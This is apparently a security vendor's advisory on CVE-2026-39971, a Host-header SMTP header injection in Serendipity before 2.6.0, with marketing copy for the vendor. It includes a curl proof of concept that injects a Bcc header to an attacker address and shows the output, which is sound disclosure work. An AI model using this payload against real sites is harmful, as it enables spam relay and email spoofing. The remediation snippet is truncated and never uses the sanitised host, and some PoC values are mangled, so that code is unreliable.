CVE-2026-39971

CVE-2026-39971 is a high-severity security vulnerability in s9y/serendipity (composer), affecting versions < 2.6.0. It is fixed in 2.6.0.

Summary

Serendipity inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

Details

In include/functions.inc.php:548:

$maildata['headers'][] = 'Message-ID: <' 
    . bin2hex(random_bytes(16)) 
    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled
    . '>';

The existing sanitization function only blocks \r\n and URL-encoded variants:

function serendipity_isResponseClean($d) {
    return (strpos($d, "\r") === false && strpos($d, "\n") === false 
        && stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}

Critically, serendipity_isResponseClean() is not even called on HTTP_HOST before embedding it into the mail headers, making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as:

  • New comment notifications to blog owner
  • Comment subscription notifications to subscribers
  • Password reset emails (if configured)

PoC

# Trigger comment notification email with injected header
curl -s -X POST \
  -H "Host: attacker.com>\r\nBcc: [email protected]\r\nX-Injected:" \
  -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email][email protected]&serendipity[entry_id]=1" \
  http://[TARGET]/comment.php

Resulting malicious Message-ID header in outgoing email:

Message-ID: <[email protected]>
Bcc: [email protected]
X-Injected: >

Impact

An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions).
This enables:

  • Identity spoofing, emails appear to originate from attacker-controlled domain
  • Reply hijacking, some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure
  • Email reputation abuse, attacker's domain embedded in legitimate mail headers

CVE-2026-39971 has a CVSS score of 7.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.6.0); upgrading removes the vulnerable code path.

Affected versions

s9y/serendipity (< 2.6.0)

Security releases

s9y/serendipity → 2.6.0 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Sanitize HTTP_HOST before embedding in mail headers, and restrict to valid hostname characters only:

$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '', 
    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';

Frequently Asked Questions

  1. What is CVE-2026-39971? CVE-2026-39971 is a high-severity security vulnerability in s9y/serendipity (composer), affecting versions < 2.6.0. It is fixed in 2.6.0.
  2. How severe is CVE-2026-39971? CVE-2026-39971 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of s9y/serendipity are affected by CVE-2026-39971? s9y/serendipity (composer) versions < 2.6.0 is affected.
  4. Is there a fix for CVE-2026-39971? Yes. CVE-2026-39971 is fixed in 2.6.0. Upgrade to this version or later.
  5. Is CVE-2026-39971 exploitable, and should I be worried? Whether CVE-2026-39971 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-39971 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-39971? Upgrade s9y/serendipity to 2.6.0 or later.

Other vulnerabilities in s9y/serendipity

CVE-2026-39963

Stop the waste.
Protect your environment with Kodem.